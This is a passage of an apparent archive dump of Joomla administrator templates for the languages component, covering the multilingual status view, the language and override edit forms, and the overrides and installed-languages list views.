                    <span class="icon-exclamation-triangle" aria-hidden="true"></span>
                    <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                    <?php echo Text::sprintf('COM_LANGUAGES_MULTILANGSTATUS_HOME_UNPUBLISHED', $status->lang_code, $status->lang_code); ?>
                </div>
            <?php endif; ?>
            <?php // Displays error when both Content Language and Home page are unpublished. ?>
            <?php if ($status->lang_code && $status->published == 0 && $status->home_published != 1) : ?>
                <div class="alert alert-warning">
                    <span class="icon-exclamation-triangle" aria-hidden="true"></span>
                    <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                    <?php echo Text::sprintf('COM_LANGUAGES_MULTILANGSTATUS_CONTENT_LANGUAGE_HOME_UNPUBLISHED', $status->lang_code, $status->lang_code); ?>
                </div>
            <?php endif; ?>
        <?php endforeach; ?>
        <?php if ($notice_disabled) : ?>
            <div class="alert alert-warning">
                <span class="icon-exclamation-triangle" aria-hidden="true"></span>
                <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                <?php echo Text::_('COM_LANGUAGES_MULTILANGSTATUS_LANGUAGEFILTER_DISABLED'); ?>
            </div>
        <?php endif; ?>
        <?php if ($notice_switchers) : ?>
            <div class="alert alert-warning">
                <span class="icon-exclamation-triangle" aria-hidden="true"></span>
                <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                <?php echo Text::_('COM_LANGUAGES_MULTILANGSTATUS_LANGSWITCHER_UNPUBLISHED'); ?>
            </div>
        <?php endif; ?>
        <?php foreach ($this->contentlangs as $contentlang) : ?>
            <?php if (array_key_exists($contentlang->lang_code, $this->homepages) && (!array_key_exists($contentlang->lang_code, $this->site_langs) || $contentlang->published != 1)) : ?>
                <div class="alert alert-warning">
                    <span class="icon-exclamation-triangle" aria-hidden="true"></span>
                    <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                    <?php echo Text::sprintf('COM_LANGUAGES_MULTILANGSTATUS_ERROR_CONTENT_LANGUAGE', $contentlang->lang_code); ?>
                </div>
            <?php endif; ?>
            <?php if (!array_key_exists($contentlang->lang_code, $this->site_langs)) : ?>
                <div class="alert alert-warning">
                    <span class="icon-exclamation-triangle" aria-hidden="true"></span>
                    <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                    <?php echo Text::sprintf('COM_LANGUAGES_MULTILANGSTATUS_ERROR_LANGUAGE_TAG', $contentlang->lang_code); ?>
                </div>
            <?php endif; ?>
            <?php if ($contentlang->published == -2) : ?>
                <div class="alert alert-warning">
                    <span class="icon-exclamation-triangle" aria-hidden="true"></span>
                    <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                    <?php echo Text::sprintf('COM_LANGUAGES_MULTILANGSTATUS_CONTENT_LANGUAGE_TRASHED', $contentlang->lang_code); ?>
                </div>
            <?php endif; ?>
            <?php if (empty($contentlang->sef)) : ?>
                <div class="alert alert-error">
                    <span class="icon-exclamation" aria-hidden="true"></span>
                    <span class="visually-hidden"><?php echo Text::_('ERROR'); ?></span>
                    <?php echo Text::sprintf('COM_LANGUAGES_MULTILANGSTATUS_CONTENT_LANGUAGE_SEF_MISSING', $contentlang->lang_code); ?>
                </div>
            <?php endif; ?>
        <?php endforeach; ?>
        <?php if ($this->listUsersError) : ?>
            <div class="alert alert-warning">
                <span class="icon-exclamation-triangle" aria-hidden="true"></span>
                <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                <?php echo Text::_('COM_LANGUAGES_MULTILANGSTATUS_CONTACTS_ERROR_TIP'); ?>
                <ul>
                <?php foreach ($this->listUsersError as $user) : ?>
                    <li>
                    <?php echo Text::sprintf('COM_LANGUAGES_MULTILANGSTATUS_CONTACTS_ERROR', $user->name); ?>
                    </li>
                <?php endforeach; ?>
                </ul>
            </div>
        <?php endif; ?>
        <?php // Displays error when the Content Language has been deleted ?>
        <?php foreach ($sitelangs as $sitelang) : ?>
            <?php if (!in_array($sitelang, $content_languages) && in_array($sitelang, $home_pages)) : ?>
                <div class="alert alert-warning">
                    <span class="icon-exclamation-triangle" aria-hidden="true"></span>
                    <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                    <?php echo Text::sprintf('COM_LANGUAGES_MULTILANGSTATUS_CONTENT_LANGUAGE_MISSING', $sitelang); ?>
                </div>
            <?php endif; ?>
        <?php endforeach; ?>
        <table class="table table-sm">
            <caption class="visually-hidden"><?php echo Text::_('COM_LANGUAGES_MULTILANGSTATUS_TABLE_CAPTION'); ?></caption>
            <thead>
                <tr>
                    <th scope="col">
                        <?php echo Text::_('JDETAILS'); ?>
                    </th>
                    <th class="text-center" scope="col">
                        <?php echo Text::_('JSTATUS'); ?>
                    </th>
                </tr>
            </thead>
            <tbody>
                <tr>
                    <th scope="row">
                        <?php echo Text::_('COM_LANGUAGES_MULTILANGSTATUS_LANGUAGEFILTER'); ?>
                    </th>
                    <td class="text-center">
                        <?php if ($this->language_filter) : ?>
                            <?php echo Text::_('JENABLED'); ?>
                        <?php else : ?>
                            <?php echo Text::_('JDISABLED'); ?>
                        <?php endif; ?>
                    </td>
                </tr>

                <tr>
                    <th scope="row">
                        <?php echo Text::_('COM_LANGUAGES_MULTILANGSTATUS_LANGSWITCHER_PUBLISHED'); ?>
                    </th>
                    <td class="text-center">
                        <?php if ($this->switchers != 0) : ?>
                            <?php echo $this->switchers; ?>
                        <?php else : ?>
                            <?php echo Text::_('JNONE'); ?>
                        <?php endif; ?>
                    </td>
                </tr>
                <tr>
                    <th scope="row">
                        <?php if ($this->homes > 1) : ?>
                            <?php echo Text::_('COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED_INCLUDING_ALL'); ?>
                        <?php else : ?>
                            <?php echo Text::_('COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED'); ?>
                        <?php endif; ?>
                    </th>
                    <td class="text-center">
                        <?php if ($this->homes > 1) : ?>
                            <?php echo $this->homes; ?>
                        <?php else : ?>
                            <?php echo Text::_('COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED_ALL'); ?>
                        <?php endif; ?>
                    </td>
                </tr>
            </tbody>
        </table>
        <table class="table table-sm">
            <caption class="visually-hidden"><?php echo Text::_('COM_LANGUAGES_MULTILANGSTATUS_CONTENT_TABLE_CAPTION'); ?></caption>
            <thead>
                <tr>
                    <th scope="col">
                        <?php echo Text::_('JGRID_HEADING_LANGUAGE'); ?>
                    </th>
                    <th class="text-center" scope="col">
                        <?php echo Text::_('COM_LANGUAGES_MULTILANGSTATUS_SITE_LANG_PUBLISHED'); ?>
                    </th>
                    <th class="text-center" scope="col">
                        <?php echo Text::_('COM_LANGUAGES_MULTILANGSTATUS_CONTENT_LANGUAGE_PUBLISHED'); ?>
                    </th>
                    <th class="text-center" scope="col">
                        <?php echo Text::_('COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED'); ?>
                    </th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($this->statuses as $status) : ?>
                    <?php if ($status->element) : ?>
                        <tr>
                            <th scope="row">
                                <?php echo $status->element; ?>
                            </th>
                    <?php endif; ?>
                    <?php // Published Site languages ?>
                    <?php if ($status->element) : ?>
                            <td class="text-center">
                                <span class="text-success icon-check" aria-hidden="true"></span>
                                <span class="visually-hidden"><?php echo Text::_('JYES'); ?></span>
                            </td>
                    <?php else : ?>
                            <td class="text-center">
                                <?php echo Text::_('JNO'); ?>
                            </td>
                    <?php endif; ?>
                    <?php // Published Content languages ?>
                        <td class="text-center">
                            <?php if ($status->lang_code && $status->published == 1) : ?>
                                <span class="text-success icon-check" aria-hidden="true"></span>
                                <span class="visually-hidden"><?php echo Text::_('JYES'); ?></span>
                            <?php elseif ($status->lang_code && $status->published == 0) : ?>
                                <span class="text-danger icon-times" aria-hidden="true"></span>
                                <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                            <?php elseif ($status->lang_code && $status->published == -2) : ?>
                                <span class="icon-trash" aria-hidden="true"></span>
                                <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                            <?php else : ?>
                                <span class="icon-exclamation-triangle" aria-hidden="true"></span>
                                <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                            <?php endif; ?>
                        </td>
                    <?php // Published Home pages ?>
                        <td class="text-center">
                            <?php if ($status->home_published == 1) : ?>
                                <span class="text-success icon-check" aria-hidden="true"></span>
                                <span class="visually-hidden"><?php echo Text::_('JYES'); ?></span>
                            <?php elseif ($status->home_published == 0) : ?>
                                <span class="text-danger icon-times" aria-hidden="true"></span>
                                <span class="visually-hidden"><?php echo Text::_('JNO'); ?></span>
                            <?php elseif ($status->home_published == -2) : ?>
                                <span class="icon-trash" aria-hidden="true"></span>
                                <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                            <?php else : ?>
                                <span class="icon-exclamation-triangle" aria-hidden="true"></span>
                                <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                            <?php endif; ?>
                        </td>
                    </tr>
                <?php endforeach; ?>
                <?php foreach ($this->contentlangs as $contentlang) : ?>
                    <?php if (!array_key_exists($contentlang->lang_code, $this->site_langs)) : ?>
                        <tr>
                            <th scope="row">
                                <?php echo $contentlang->lang_code; ?>
                            </th>
                            <td class="text-center">
                                <span class="icon-exclamation-triangle" aria-hidden="true"></span>
                                <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                            </td>
                            <td class="text-center">
                                <?php if ($contentlang->published == 1) : ?>
                                    <span class="text-success icon-check" aria-hidden="true"></span>
                                    <span class="visually-hidden"><?php echo Text::_('JYES'); ?></span>
                                <?php elseif ($contentlang->published == 0 && array_key_exists($contentlang->lang_code, $this->homepages)) : ?>
                                    <span class="text-danger icon-times" aria-hidden="true"></span>
                                    <span class="visually-hidden"><?php echo Text::_('JNO'); ?></span>
                                <?php elseif ($contentlang->published == -2 && array_key_exists($contentlang->lang_code, $this->homepages)) : ?>
                                    <span class="icon-trash" aria-hidden="true"></span>
                                    <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                                <?php endif; ?>
                            </td>
                            <td class="text-center">
                                <?php if (!array_key_exists($contentlang->lang_code, $this->homepages)) : ?>
                                    <span class="icon-exclamation-triangle" aria-hidden="true"></span>
                                    <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                                <?php else : ?>
                                    <span class="text-success icon-check" aria-hidden="true"></span>
                                    <span class="visually-hidden"><?php echo Text::_('JYES'); ?></span>
                                <?php endif; ?>
                            </td>
                        </tr>
                    <?php endif; ?>
                <?php endforeach; ?>
                <?php // Display error when the Content Language has been deleted ?>
                <?php foreach ($sitelangs as $sitelang) : ?>
                    <?php if (!in_array($sitelang, $content_languages) && in_array($sitelang, $home_pages)) : ?>
                        <tr>
                            <th scope="row">
                                <?php echo $sitelang; ?>
                            </th>
                            <td class="text-center">
                                <span class="text-success icon-check" aria-hidden="true"></span>
                                <span class="visually-hidden"><?php echo Text::_('JYES'); ?></span>
                            </td>
                            <td class="text-center">
                                <span class="icon-exclamation-triangle" aria-hidden="true"></span>
                                <span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                            </td>
                            <td class="text-center">
                                <span class="text-success icon-check" aria-hidden="true"></span>
                                <span class="visually-hidden"><?php echo Text::_('JYES'); ?></span>
                            </td>
                        </tr>
                    <?php endif; ?>
                <?php endforeach; ?>
            </tbody>
        </table>
    <?php endif; ?>
</div>
override/edit.php000064400000010735151730131060010024 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$expired = ($this->state->get('cache_expired') == 1 ) ? '1' : '';

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate')
    ->usePreset('com_languages.overrider')
    ->useScript('com_languages.admin-override-edit-refresh-searchstring');

?>

<form action="<?php echo Route::_('index.php?option=com_languages&id=' . $this->item->key); ?>" method="post" name="adminForm" id="override-form" aria-label="<?php echo Text::_('COM_LANGUAGES_VIEW_OVERRIDE_FORM_' . ((int) $this->item->key === 0 ? 'NEW' : 'EDIT'), true); ?>" class="main-card form-validate p-4 mt-4">
    <div class="row">
        <div class="col-md-6">
            <fieldset id="fieldset-override" class="options-form">
                <legend><?php echo empty($this->item->key) ? Text::_('COM_LANGUAGES_VIEW_OVERRIDE_EDIT_NEW_OVERRIDE_LEGEND') : Text::_('COM_LANGUAGES_VIEW_OVERRIDE_EDIT_EDIT_OVERRIDE_LEGEND'); ?></legend>
                <div>
                <?php echo $this->form->renderField('language'); ?>
                <?php echo $this->form->renderField('client'); ?>
                <?php echo $this->form->renderField('key'); ?>
                <?php echo $this->form->renderField('override'); ?>
                <?php echo $this->form->renderField('both'); ?>
                <?php echo $this->form->renderField('file'); ?>
                </div>
            </fieldset>
        </div>

        <div class="col-md-6">
            <fieldset id="fieldset-override-search" class="options-form">
                <legend><?php echo Text::_('COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_LEGEND'); ?></legend>
                <div>
                <div class="alert alert-info">
                    <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                    <?php echo Text::_('COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_TIP'); ?>
                </div>
                <?php echo $this->form->renderField('searchtype'); ?>
                <div class="control-group">
                    <div class="control-label">
                        <?php echo $this->form->getLabel('searchstring'); ?>
                    </div>
                    <div class="controls">
                        <div class="input-group">
                            <?php echo $this->form->getInput('searchstring'); ?>
                            <button type="submit" class="btn btn-primary" onclick="Joomla.overrider.searchStrings();return false;" formnovalidate>
                                <?php echo Text::_('COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_BUTTON'); ?>
                            </button>
                            <span id="refresh-status" class="form-text">
                                <span class="icon-sync icon-spin" aria-hidden="true"></span>
                                <?php echo Text::_('COM_LANGUAGES_VIEW_OVERRIDE_REFRESHING'); ?>
                            </span>
                        </div>
                    </div>
                </div>
                </div>
            </fieldset>

            <fieldset id="results-container" class="adminform">
                <legend><?php echo Text::_('COM_LANGUAGES_VIEW_OVERRIDE_RESULTS_LEGEND'); ?></legend>
                <div id="overrider-spinner" class="overrider-spinner text-center" data-search-string-expired="<?php echo $expired; ?>"><span class="icon-spinner icon-spin" aria-hidden="true"></span></div>
                <span id="more-results" class="mt-2">
                    <button type="button" id="more-results-button" class="btn btn-secondary" disabled>
                        <span id="overrider-spinner-btn" class="overrider-spinner-btn icon-spinner icon-spin" aria-hidden="true"></span>
                        <?php echo Text::_('COM_LANGUAGES_VIEW_OVERRIDE_MORE_RESULTS'); ?>
                    </button>
                </span>
            </fieldset>

            <input type="hidden" name="task" value="">
            <input type="hidden" name="id" value="<?php echo $this->item->key; ?>">

            <?php echo HTMLHelper::_('form.token'); ?>
        </div>
    </div>
</form>
language/edit.php000064400000007634151730131060007774 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate')
    ->useScript('com_languages.admin-language-edit-change-flag');

?>

<h2><?php echo $this->escape($this->form->getValue('title', null, Text::_('COM_LANGUAGES_LANGUAGE_NEW_LANGUAGE_TITLE'))); ?></h2>

<form action="<?php echo Route::_('index.php?option=com_languages&view=language&layout=edit&lang_id=' . (int) $this->item->lang_id); ?>" method="post" name="adminForm" id="language-form" aria-label="<?php echo Text::_('COM_LANGUAGES_LANGUAGE_FORM_' . ((int) $this->item->lang_id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="main-card form-validate">

    <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'details', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'details', Text::_('JDETAILS')); ?>
            <fieldset id="fieldset-details" class="options-form">
                <legend><?php echo Text::_('JDETAILS'); ?></legend>
                <div>
                <?php echo $this->form->renderField('title'); ?>
                <?php echo $this->form->renderField('title_native'); ?>
                <?php echo $this->form->renderField('lang_code'); ?>
                <?php echo $this->form->renderField('sef'); ?>
                <div class="control-group">
                    <div class="control-label">
                        <?php echo $this->form->getLabel('image'); ?>
                    </div>
                    <div class="controls">
                        <?php echo $this->form->getInput('image'); ?>
                        <span id="flag">
                            <?php echo HTMLHelper::_('image', 'mod_languages/' . $this->form->getValue('image') . '.gif', $this->form->getValue('image'), null, true); ?>
                        </span>
                    </div>
                </div>
                <?php if ($this->canDo->get('core.edit.state')) : ?>
                    <?php echo $this->form->renderField('published'); ?>
                <?php endif; ?>

                <?php echo $this->form->renderField('access'); ?>
                <?php echo $this->form->renderField('description'); ?>
                <?php echo $this->form->renderField('lang_id'); ?>
                </div>
            </fieldset>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'metadata', Text::_('JGLOBAL_FIELDSET_OPTIONS')); ?>
            <div class="row">
                <div class="col-md-6 mb-3">
                    <fieldset id="fieldset-sitename" class="options-form">
                        <legend><?php echo Text::_('COM_LANGUAGES_FIELDSET_SITE_NAME_LABEL'); ?></legend>
                        <div>
                        <?php echo $this->form->renderFieldset('site_name'); ?>
                        </div>
                    </fieldset>
                </div>
                <div class="col-md-6 mb-3">
                    <fieldset id="fieldset-metadata" class="options-form">
                        <legend><?php echo Text::_('JGLOBAL_FIELDSET_METADATA_OPTIONS'); ?></legend>
                        <div>
                        <?php echo $this->form->renderFieldset('metadata'); ?>
                        </div>
                    </fieldset>
                </div>
            </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

    <?php echo HTMLHelper::_('uitab.endTabSet'); ?>

    <input type="hidden" name="task" value="">
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
overrides/default.php000064400000014664151730131060010713 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\LanguageHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$client    = $this->state->get('filter.client') == 'site' ? Text::_('JSITE') : Text::_('JADMINISTRATOR');
$language  = $this->state->get('filter.language');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

$oppositeClient   = $this->state->get('filter.client') == 'administrator' ? Text::_('JSITE') : Text::_('JADMINISTRATOR');
$oppositeFilename = constant('JPATH_' . strtoupper($this->state->get('filter.client') === 'site' ? 'administrator' : 'site'))
    . '/language/overrides/' . $this->state->get('filter.language', 'en-GB') . '.override.ini';
$oppositeStrings  = LanguageHelper::parseIniFile($oppositeFilename);
?>

<form action="<?php echo Route::_('index.php?option=com_languages&view=overrides'); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this, 'options' => ['selectorFieldName' => 'language_client']]); ?>
                <div class="clearfix"></div>
                <?php if (empty($this->items)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table" id="overrideList">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_LANGUAGES_OVERRIDES_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="w-30">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_LANGUAGES_VIEW_OVERRIDES_KEY', 'key', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_LANGUAGES_VIEW_OVERRIDES_TEXT', 'text', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="d-none d-md-table-cell">
                                    <?php echo Text::_('COM_LANGUAGES_FIELD_LANG_TAG_LABEL'); ?>
                                </th>
                                <th scope="col" class="d-none d-md-table-cell">
                                    <?php echo Text::_('JCLIENT'); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody>
                        <?php $canEdit = Factory::getUser()->authorise('core.edit', 'com_languages'); ?>
                        <?php $i = 0; ?>
                        <?php foreach ($this->items as $key => $text) : ?>
                            <tr class="row<?php echo $i % 2; ?>" id="overriderrow<?php echo $i; ?>">
                                <td class="text-center">
                                    <?php echo HTMLHelper::_('grid.id', $i, $key, false, 'cid', 'cb', $key); ?>
                                </td>
                                <th scope="row">
                                    <?php if ($canEdit) : ?>
                                        <a id="key[<?php echo $this->escape($key); ?>]" href="<?php echo Route::_('index.php?option=com_languages&task=override.edit&id=' . $key); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($key); ?>">
                                            <?php echo $this->escape($key); ?></a>
                                    <?php else : ?>
                                        <?php echo $this->escape($key); ?>
                                    <?php endif; ?>
                                </th>
                                <td class="d-none d-md-table-cell">
                                    <span id="string[<?php echo $this->escape($key); ?>]"><?php echo HTMLHelper::_('string.truncate', $this->escape($text), 200); ?></span>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo $language; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php
                                    echo $client;
                                    if (isset($oppositeStrings[$key]) && $oppositeStrings[$key] === $text) :
                                        echo '/' . $oppositeClient;
                                    endif;
                                    ?>
                                </td>
                            </tr>
                            <?php $i++; ?>
                        <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                <?php endif; ?>

                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
overrides/default.xml000064400000000326151730131060010712 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_LANGUAGES_OVERRIDE_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_LANGUAGES_OVERRIDE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
installed/default.xml000064400000000330151730131060010662 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_LANGUAGES_INSTALLED_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_LANGUAGES_INSTALLED_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
installed/default.php000064400000020170151730131060010655 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\String\PunycodeHelper;
use Joomla\CMS\Version;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns');

$user      = Factory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<form action="<?php echo Route::_('index.php?option=com_languages&view=installed'); ?>" method="post" id="adminForm" name="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
                <?php if (empty($this->rows)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                <table class="table">
                    <caption class="visually-hidden">
                        <?php echo Text::_('COM_LANGUAGES_INSTALLED_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                    </caption>
                    <thead>
                        <tr>
                            <td class="w-1">
                                &#160;
                            </td>
                            <th scope="col" class="w-15">
                                <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'name', $listDirn, $listOrder); ?>
                            </th>
                            <th scope="col" class="w-15 d-none d-md-table-cell">
                                <?php echo HTMLHelper::_('searchtools.sort', 'COM_LANGUAGES_HEADING_TITLE_NATIVE', 'nativeName', $listDirn, $listOrder); ?>
                            </th>
                            <th scope="col" class="text-center">
                                <?php echo HTMLHelper::_('searchtools.sort', 'COM_LANGUAGES_HEADING_LANG_TAG', 'language', $listDirn, $listOrder); ?>
                            </th>
                            <th scope="col" class="w-5 text-center">
                                <?php echo HTMLHelper::_('searchtools.sort', 'COM_LANGUAGES_HEADING_DEFAULT', 'published', $listDirn, $listOrder); ?>
                            </th>
                            <th scope="col" class="w-5 d-none d-md-table-cell text-center">
                                <?php echo HTMLHelper::_('searchtools.sort', 'COM_LANGUAGES_HEADING_VERSION', 'version', $listDirn, $listOrder); ?>
                            </th>
                            <th scope="col" class="w-10 d-none d-md-table-cell text-center">
                                <?php echo HTMLHelper::_('searchtools.sort', 'COM_LANGUAGES_HEADING_DATE', 'creationDate', $listDirn, $listOrder); ?>
                            </th>
                            <th scope="col" class="w-10 d-none d-md-table-cell text-center">
                                <?php echo HTMLHelper::_('searchtools.sort', 'COM_LANGUAGES_HEADING_AUTHOR', 'author', $listDirn, $listOrder); ?>
                            </th>
                            <th scope="col" class="w-10 d-none d-md-table-cell text-center">
                                <?php echo HTMLHelper::_('searchtools.sort', 'COM_LANGUAGES_HEADING_AUTHOR_EMAIL', 'authorEmail', $listDirn, $listOrder); ?>
                            </th>
                            <th scope="col" class="w-5 d-none d-md-table-cell text-center">
                                <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'extension_id', $listDirn, $listOrder); ?>
                            </th>
                        </tr>
                    </thead>
                    <tbody>
                    <?php
                    $version = new Version();
                    $currentShortVersion = preg_replace('#^([0-9\.]+)(|.*)$#', '$1', $version->getShortVersion());
                    foreach ($this->rows as $i => $row) :
                        $canCreate = $user->authorise('core.create', 'com_languages');
                        $canEdit   = $user->authorise('core.edit', 'com_languages');
                        $canChange = $user->authorise('core.edit.state', 'com_languages');
                        ?>
                        <tr class="row<?php echo $i % 2; ?>">
                            <td>
                                <?php echo HTMLHelper::_('languages.id', $i, $row->language); ?>
                            </td>
                            <th scope="row">
                                <label for="cb<?php echo $i; ?>">
                                    <?php echo $this->escape($row->name); ?>
                                </label>
                            </th>
                            <td class="d-none d-md-table-cell">
                                <?php echo $this->escape($row->nativeName); ?>
                            </td>
                            <td class="text-center">
                                <?php echo $this->escape($row->language); ?>
                            </td>
                            <td class="text-center">
                                <?php echo HTMLHelper::_('jgrid.isdefault', $row->published, $i, 'installed.', !$row->published && $canChange); ?>
                            </td>
                            <td class="d-none d-md-table-cell text-center">
                            <?php $minorVersion = $version::MAJOR_VERSION . '.' . $version::MINOR_VERSION; ?>
                            <?php // Display a Note if language pack version is not equal to Joomla version ?>
                            <?php if (strpos($row->version, $minorVersion) !== 0 || strpos($row->version, $currentShortVersion) !== 0) : ?>
                                <span class="badge bg-warning text-dark" title="<?php echo Text::_('JGLOBAL_LANGUAGE_VERSION_NOT_PLATFORM'); ?>"><?php echo $row->version; ?></span>
                            <?php else : ?>
                                <span class="badge bg-success"><?php echo $row->version; ?></span>
                            <?php endif; ?>
                            </td>
                            <td class="d-none d-md-table-cell text-center">
                                <?php echo $this->escape($row->creationDate); ?>
                            </td>
                            <td class="d-none d-md-table-cell text-center">
                                <?php echo $this->escape($row->author); ?>
                            </td>
                            <td class="d-none d-md-table-cell text-center">
                                <?php echo $this->escape(PunycodeHelper::emailToUTF8($row->authorEmail)); ?>
                            </td>
                            <td class="d-none d-md-table-cell text-center">
                                <?php echo $this->escape($row->extension_id); ?>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                    </tbody>
                </table>

                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                <?php endif; ?>
                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
